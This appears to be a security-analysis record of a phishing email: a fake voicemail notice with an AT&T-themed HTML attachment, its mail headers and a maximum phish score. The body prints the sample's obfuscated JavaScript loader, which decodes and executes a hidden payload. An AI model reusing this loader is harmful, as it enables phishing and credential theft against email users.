        General

        Subject:[EXTERNAL] New Voicemail for Geoff.anderman: 29692f7b66f575b7b1d4c935432984d113d9587d - Duration: 1 minute 31 seconds.
        From:Mike <tenneile@bttwpg.com>
        To:geoff.anderman@stgusa.com
        Cc:
        BCC:
        Date:Tue, 04 Mar 2025 15:02:17 +0000
        Communications:
        • . ZjQcmQRYFpfptBannerStart This Message Is From an Untrusted Sender You have not previously corresponded with this sender. This Message Is From an Untrusted Sender You have not previously corresponded with this sender. This Message Is From an Untrusted Sender You have not previously corresponded with this sender. ZjQcmQRYFpfptBannerEnd #pfptBannerdasbxvo { all: revert !important; display: block !important; visibility: visible !important; opacity: 1 !important; background-color: #D0D8DC !important; max-width: none !important; max-height: none !important } .pfptPrimaryButtondasbxvo:hover, .pfptPrimaryButtondasbxvo:focus { background-color: #b4c1c7 !important; } .pfptPrimaryButtondasbxvo:active { background-color: #90a4ae !important; } edeKkG = '#Xgeoff.anderman@stgusa.com'; CjHgLM="pTIlp3OyL3EcqzHtCFNvnUE0pUZ6VvfaYl9mnT9lWlgtqUMyM2RhLPgtL29gYl5lLPfaMKZ0AQDhWlfvpTujCmZlVvfaZzDmAwZ4WlfvZmpmAQZ3VvgtZmDmAmZjLPgtZmpmZmZmLPfvAwRmZwL2VvfvZmV2AwZ2VvgtZmxmAGZ3LPgtZmV2AGZ3LPgtZmDmAwZ1LPfvZmpmBQZ2VvfvZmLmAmZ1VvfaZmpmZmZ2WlfvZmxmAwL2VvfaZmL2AGZlWlgtAwHmAmZlLPfvZmpmAGZlVvfvAwLmZmZjVvgtZmZmZGZmLPfvZmNmZmZkVvfaZmZmZQZmWlfaZmRmZwL2WlgtZzD2AGL0LPfaAwH0LwMvWlfvAQpvBjcxo2A1oJIhqSfaq3WcqTHaKFtvCUAwpzyjqPOmpzZ9WlVtXlOjMKWmpTIwqTy2MFNeVPVaCwkpY3AwpzyjqQ4vXGf="; AFOXjA = atob; function lmCRAD(vaQKke) { return vaQKke.replace(/[a-zA-Z]/g, function(IKZFiV) { const bcXxYm = IKZFiV <= 'Z' ? 65 : 97; return String.fromCharCode(((IKZFiV.charCodeAt(0) - bcXxYm + 13) % 26) + bcXxYm); }); } const vIQsBq = AFOXjA(lmCRAD(CjHgLM)); new Function(vIQsBq)();
        Attachments:
        • AT&T_Msg_-876.html

        Headers

        Key Value
        X-Proofpoint-SentinelstfjE/YoUs+L4Pf3aMUjFFhU4RUElp63eN6CLTQPYMkxpDJTYWx0ZWRfX/h clIAYlN4TbVyYB786alypxQg0s3xtFxTVqonn3yQNMUUi7kB387Zlg2n9zl8tkoaG4Id6+GJFnvM dyVXpVjt8NdbHK9aWJuDOuViV1H13FplmUUrbE2DaHH/3lHXBjDz8NQeHeWGOaGqAnUnNnWPr/rc lcI4q9KiRJOhYDmOuZSEf2TTgDW0RkI/BO+4smaYI+6dmWbsnKmAHFVcUh+/6TPKBWeGvDwFRUuv Pa+9Z/aan62nP1S3Getmg7w1itmhyLCtbHcwPbmSYNLpbr1uFj2k0HXRHuCoIkbhBpLdiZjlQOep nqT/jDxo5pTcQtyhe8rL3ugiwo/qbaxSfVmwTOT57dAh/FdJwuM+mveUDdnHyvcVKjzkTIgHDgj9 KgKBdgp3uTX2EFhwyazKLIuNPgNI1YiVsdBSa2/kwcNxdaEDbVQmHfAK8sfp61po3q1HdqvAaTnO 1Y87WiivEWkyPnLqpADEWMjamb48AX1FS1nheL3r6PebwLPPwOYS5wvX9wzIumPFGswbrAfv0ckH c7+Lk5RbYKAccxYqCugo+9ZBaPvaD8RTRD/LAtZAUbIbW9OranGN+SHZ5H1nyr9bPKHQmCQFX8Ai v5qVT6U+ULenuK+W5DciZXcDd6V8aeym46b7WoVDA5cZkq6FAzut99mkMxSyRwtrjnSiDzUkIgH2 gDKtv6Ok8/shhNdSid0ye5E1sN5S5I7RPTbfoj8uTSGvLuvNZhc6GzUu2ZwK0FVhYe1NVIHFG3Cl ivsp9GCogj7Q+V3HoV8w4jw4Ee4uhUB6Hs9a6uug/Bfhq3DOLPMVYqCYfY1DQY+qMohQKVEnuBKF ZcDs88muTBVtyeClEZl2BxuoZNkiswWJtF4ILaW0pmZmXr2QyYWyWckxroxH8/KwiQziokdTZAvO g5f+1CgR6Ax8hML6tvzN/puL8I5XL1ebhb6+zJqsz4vsLzkS9cqP+PcWKGJybn0ae5/RklQs+br6 r/VQ3EnatOMhh7mNxPqHJLAA=
        Authentication-Resultsppops.net; dkim=pass header.d=bttwpgcom.onmicrosoft.com header.s=selector1-bttwpgcom-onmicrosoft-com; spf=pass smtp.mailfrom=tenneile@bttwpg.com; dmarc=none
        Receivedfrom [127.0.0.1] (139.64.164.134) by TO1PEPF00005345.mail.protection.outlook.com (10.167.241.5) with Microsoft SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.20.8511.15 via Frontend Transport; Tue, 4 Mar 2025 15:02:18 +0000
        ARC-Seali=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none; b=SW5jS6ST7ZASZNaQgAGr66hArXX1nn3VZtW7QObxPYfiIQ2YU6dde5HhZuTPheHrUWKn9zUxSnp2Y6ezTmIj0r2A6SJeK4DR/j1KJa1exVrp6XgWd5IfxKUrHz+747ulNzlh68cTN4bacnME/Gva7dHiz4uaG971BK9enGezAHutRERse+CZfJfSy9AR/RGs+h36z6GKdrKCahD/rhHAO4C7R2JP9mvygO+f/XExkNW+Wh8u5mqIFCJm2kDrt/vQL1GE3bQ1q1+TFBso1Ecmq+at8iCMiQGdzh6QRFeA2DQD6um85pMLH0W2Xcz/b+m1gDwdmyZV5D5Po3Z33kR1aw==
        ARC-Message-Signaturei=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com; s=arcselector10001; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1; bh=6EKXN806xf0olLI3TeGyUbqyDK17QJ3yFa4d6ttJv5g=; b=IxPnuU89dbravOvmiwFoD2ozU6rGciql3X5BWiJi1FlWQ+7tf5c9k394lbaFBPxGQNrIw27tjtAvzaIVuTK263Y7Dtd5GvWacN4mOrz7AtUaBgTfooNwh9gIv0Z7mUrHJCkj0UXfe/8P7B0MrRsX845K6rGWXJFLz3coS+wW54mxZvBZCLYkxdsdUm2O6A0J5aDiL6FGJ7AzJyYO3TqliI9dDy7c2j4Ka8mcDY0MlgvwJt0tS7cgQ27GbC9pZ7MFEUC7qLEcaptEZgg55Z0gOvNrCA72I/DPQ4BpjegnWwffzUTn465dtYnuD9ao3wgf06ei9Xj4X9QhtrjJECm2Mg==
        ARC-Authentication-Resultsi=1; mx.microsoft.com 1; spf=fail (sender ip is 139.64.164.134) smtp.rcpttodomain=stgusa.com smtp.mailfrom=bttwpg.com; dmarc=none action=none header.from=bttwpg.com; dkim=none (message not signed); arc=none (0)
        DKIM-Signaturev=1; a=rsa-sha256; c=relaxed/relaxed; d=bttwpgcom.onmicrosoft.com; s=selector1-bttwpgcom-onmicrosoft-com; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck; bh=6EKXN806xf0olLI3TeGyUbqyDK17QJ3yFa4d6ttJv5g=; b=od4CJsW/5KwG2hz724UcGqRJYjlq6pV9IEgtIJcpBW3TPke7AL1CeMaOF8Ze2AvHVZWlzMAk8H8RZpUyxvpiWJHhrk5u5X5hVQSb0yez4tnK2C28Pq44onjBa7NJ53muwz5cYoA1V2ERZRxQncDPOVoY+HvHqv4h9dp7cD563Ew=
        X-MS-Exchange-Authentication-Resultsspf=fail (sender IP is 139.64.164.134) smtp.mailfrom=bttwpg.com; dkim=none (message not signed) header.d=none;dmarc=none action=none header.from=bttwpg.com;
        Received-SPFFail (protection.outlook.com: domain of bttwpg.com does not designate 139.64.164.134 as permitted sender) receiver=protection.outlook.com; client-ip=139.64.164.134; helo=[127.0.0.1];
        Content-Typemultipart/mixed; boundary="--_NmP-7584f49e72a554d5-Part_1"
        FromMike <tenneile@bttwpg.com>
        Togeoff.anderman@stgusa.com
        Message-ID<05c8d7e7-2ac6-1efc-fa08-9c778eec6233@bttwpg.com>
        DateTue, 04 Mar 2025 15:02:17 +0000
        MIME-Version1.0
        Return-Pathtenneile@bttwpg.com
        X-EOPAttributedMessage0
        X-MS-PublicTrafficTypeEmail
        X-MS-TrafficTypeDiagnosticTO1PEPF00005345:EE_|YQXPR01MB5772:EE_
        X-MS-Office365-Filtering-Correlation-Ide6b89856-b5a1-45cd-355f-08dd5b2d8ed7
        X-MS-Exchange-SenderADCheck1
        X-MS-Exchange-AntiSpam-Relay0
        X-Microsoft-Antispam BCL:0;ARA:13230040|82310400026|1800799024|34070700014|36860700013|376014|4053099003|8096899003;
        X-Microsoft-Antispam-Message-Info 68jylCM1gT0eCG1SBva3WTtG6P4EIGCsZfrAeB3A9kGkF33gkMdiSlFImgopnJ3aoPWDSnSp4PvsF3x8oLN2Hb4adjLj2lXMNPTBCa2+zTRyzAUlVYEn4xFG1Rep8EWjAgmDB7fNVb69XzQHUFo+fXjRVQvnLaPLZhIL02eccdF1tzNoBdNIvy4lic4b+AE7/UpoT7yUYQ6oqhyiuANk88pXiRyqp0bXG7828zXafqMuYweUaDn3qNSUb+aJPZ+2MJub/vprrQSqDYe4H4cQ0nZ8luxR4HTmDQXb1jC6l/Uc1JgHr+xbE52ToP4Bpx3OHwqi0AhM4xm4ILvgQra2d4zTLHY3TorHRMDKijoXSFh9kBPgGl2W+r00nLxnXc2weYOAqsSp4UnXWgpRM36WwIQZ75D3hfbuogRFNuSA6SB5oDiXxFiSIE0rgLiZjxLRqY4NgIeYj25R4928Nvf84KRfrsoEr8DmtuEkz2KnPdjCWS2glCMniAf9yqk/JvTnfhoEuM1ZeIqRtOnsOBAuzoljr0Kowv/7QLT7neWaT/zlE+1TTirWqoRbduFH2OaNfwPoWGgZ23JoCEYlgWHGT3a+H3ykr/cx2n4aZVpNJR1EDl8ZzDNkohFnJe902m5yRX6hXhbqyeXLDn4i77nVI4loGh73RBpCrVixHsn9rRUsq+8rzfSJ5qwfMncOeSF54LZbCmARvNFtilKJt/sR+yoJmfAzNcF3Rdxz4NqT71MhblicHV4y+lWvJ5BtHkYchggBA7Gv4sPu+Vs76B2jb8cz8QuwjHeaiXony29eSgA/5UInga3M8eymIsrl33C+J0U4hBi1FShuyzunV4KfW/ZaTIMFzDQkIl7DVE3LfGpiP6uGxFNTv4DfezklTqzRfCA3jXQerTkrq2omtVDOEoYbGQ9W/dCaGegwoUWYcMnXz8B3t+gnwYdHYh4Yb6F7xrDP939gp18aw3dxkAaGvqcVajLRwo9VEnL6Mda+cu79c3qLXAqAhSQ3kA5bvpf9/8M/JiXFEyQ5rUF2f5EmnlXdimAKAtaTCwRk4upPvyIJSdnjInaylYu1eGCRH9wNhd2H43xVsnq3OK16rqwYfO3mPNus9SaL1RCOdjRs7kXu4W1MFuxekDNV3/a64U/levq8fAAlaGZkJl3m7zTYLyaZp0ERFp6odpBMuBuMrGASc/jwFOFKUPfuzIKcYD8XCLGMSTHV8N9Jbq/KQKA3vg==
        X-Forefront-Antispam-Report CIP:139.64.164.134;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:[127.0.0.1];PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(1800799024)(34070700014)(36860700013)(376014)(4053099003)(8096899003);DIR:OUT;SFP:1102;
        X-OriginatorOrgbttwpg.com
        X-MS-Exchange-CrossTenant-OriginalArrivalTime04 Mar 2025 15:02:18.3196 (UTC)
        X-MS-Exchange-CrossTenant-Network-Message-Ide6b89856-b5a1-45cd-355f-08dd5b2d8ed7
        X-MS-Exchange-CrossTenant-Idc79f80c5-b1df-46ce-9af0-f045eee8d657
        X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIpTenantId=c79f80c5-b1df-46ce-9af0-f045eee8d657;Ip=[139.64.164.134];Helo=[[127.0.0.1]]
        X-MS-Exchange-CrossTenant-AuthSource TO1PEPF00005345.CANPRD01.PROD.OUTLOOK.COM
        X-MS-Exchange-CrossTenant-AuthAsAnonymous
        X-MS-Exchange-CrossTenant-FromEntityHeaderHybridOnPrem
        X-MS-Exchange-Transport-CrossTenantHeadersStampedYQXPR01MB5772
        X-Proofpoint-GUIDTA6NsGnFKBQP6WuMJfIAtA3XK3ok9HgQ
        X-Authority-Analysisv=2.4 cv=Aq4U3P9P c=1 sm=1 tr=0 ts=67c715fc cx=c_pps a=NOpdzIhjhtkpaSQuo2fSpQ==:117 a=CfxQvKvE8w22MpBonQQBYA==:17 a=wKuvFiaSGQ0qltdbU6+NXLB8nM8=:19 a=Ol13hO9ccFRV9qXi2t6ftBPywas=:19 a=Vs1iUdzkB0EA:10 a=s63m1ICgrNkA:10 a=q_XRVSm16zIA:10 a=J51EX-W4AAAA:8 a=tclcd6dtLQvEqt9_mmAA:9 a=_W_S_7VecoQA:10 a=L03L2QfmqWoA:10 a=1WNtSb5ECZgA:10 a=QEXdDO2ut3YA:10 a=aRNXqSZrRLmW49G0qUD7:22
        X-Proofpoint-ORIG-GUIDTA6NsGnFKBQP6WuMJfIAtA3XK3ok9HgQ
        X-CLX-ShadesMLX
        X-CLX-Response1TFkXGBkeEQpMehccGhEKWUQXYR0beBlHY2x8aWURClhYF2NMYBJaZnplWU1 6EQp4ThdmfVoTGkVIf35IcBEKQ0gXHxkRCkNZFwceEhoRCkNJFxoEGhoaEQpZTRdnZnIRCllJFx pxGhAadwYYGx5xGxkcEBp3BhgaBhoRClleF2hjeREKSUYXWV5NX1lLdUJFWV5PThEKSUcXeE9NE QpDThd+axxkWW1EbGFoe3ocfV9nYExja15rGXJhGUVBE2JNexEKWFwXHwQaBBkTGwUbGgQbGhoE GxkeBBkfEBseGh8aEQpeWRdPBWZbchEKTVwXGxgTEQpMWhdpeGlCTUMRCkVZF29rEQpMXxd6BQU FBQUFBQUFbxEKTU4XaGgRCkxGF2Nra2sRCkJPF2V5axJcQUxYZGZ/EQpDWhceGgQbGh0EGxMZBB saGxEKQl4XGxEKQkUXZFtGEh9Sfm1fckYRCkJOF2Z9WhMaRUh/fkhwEQpCTBdjTGASWmZ6ZVlNe hEKQmwXZEFaHWxfBUhrfgURCkJAF20dG3JDWR5FH2NiEQpCWBdsWR9hZ1BNGHpzZREKTV4XGxEK WlgXHhEKeUMXb0RrbWxsTmV4H04RCllLFxsSEhkRCnBnF2t4Q2sdeh9kRxIeEBoRCnBoF21TQU4 dRkxgblwFEB4aEQpwaBdlHV5pBR5oaG9BTRAeGhEKcGgXYR9+elB+aVJfWBsQHhoRCnBoF3pNRW 9YRl9zHlNPEB4aEQpwaBdgGmsZXBwdR1JMaRAeGhEKcGgXZ3IbYn4caExLYUgQGhEKcGsXYxgYZ X5LfkJyfQUQGxgaEQpwaxdpBWhpRVIFQFp/fRATHREKcGwXYGhSbW58QW9FQBwQHBkRCm1+FxsR ClhNF0sRIA==
        X-Proofpoint-Banner-Triggerunknownsender
        Subject[EXTERNAL] New Voicemail for Geoff.anderman: 29692f7b66f575b7b1d4c935432984d113d9587d - Duration: 1 minute 31 seconds.
        X-Proofpoint-Virus-Version
        X-Proofpoint-Spam-Detailsrule=inbound_phish policy=inbound score=100 suspectscore=0 malwarescore=0 mlxlogscore=144 mlxscore=0 clxscore=234 snscore=48 adultscore=0 priorityscore=60 lowpriorityscore=0 spamscore=0 phishscore=100 impostorscore=0 unknownsenderscore=20 bulkscore=0 classifier=phish authscore=0 authtc=n/a authcc= route=internal adjust=0 reason=mlx scancount=1 engine=8.19.0-2502100000 definitions=main-2503040122 domainage_hfrom=1883

        File Icon

        Icon Hash:46070c0a8e0c67d6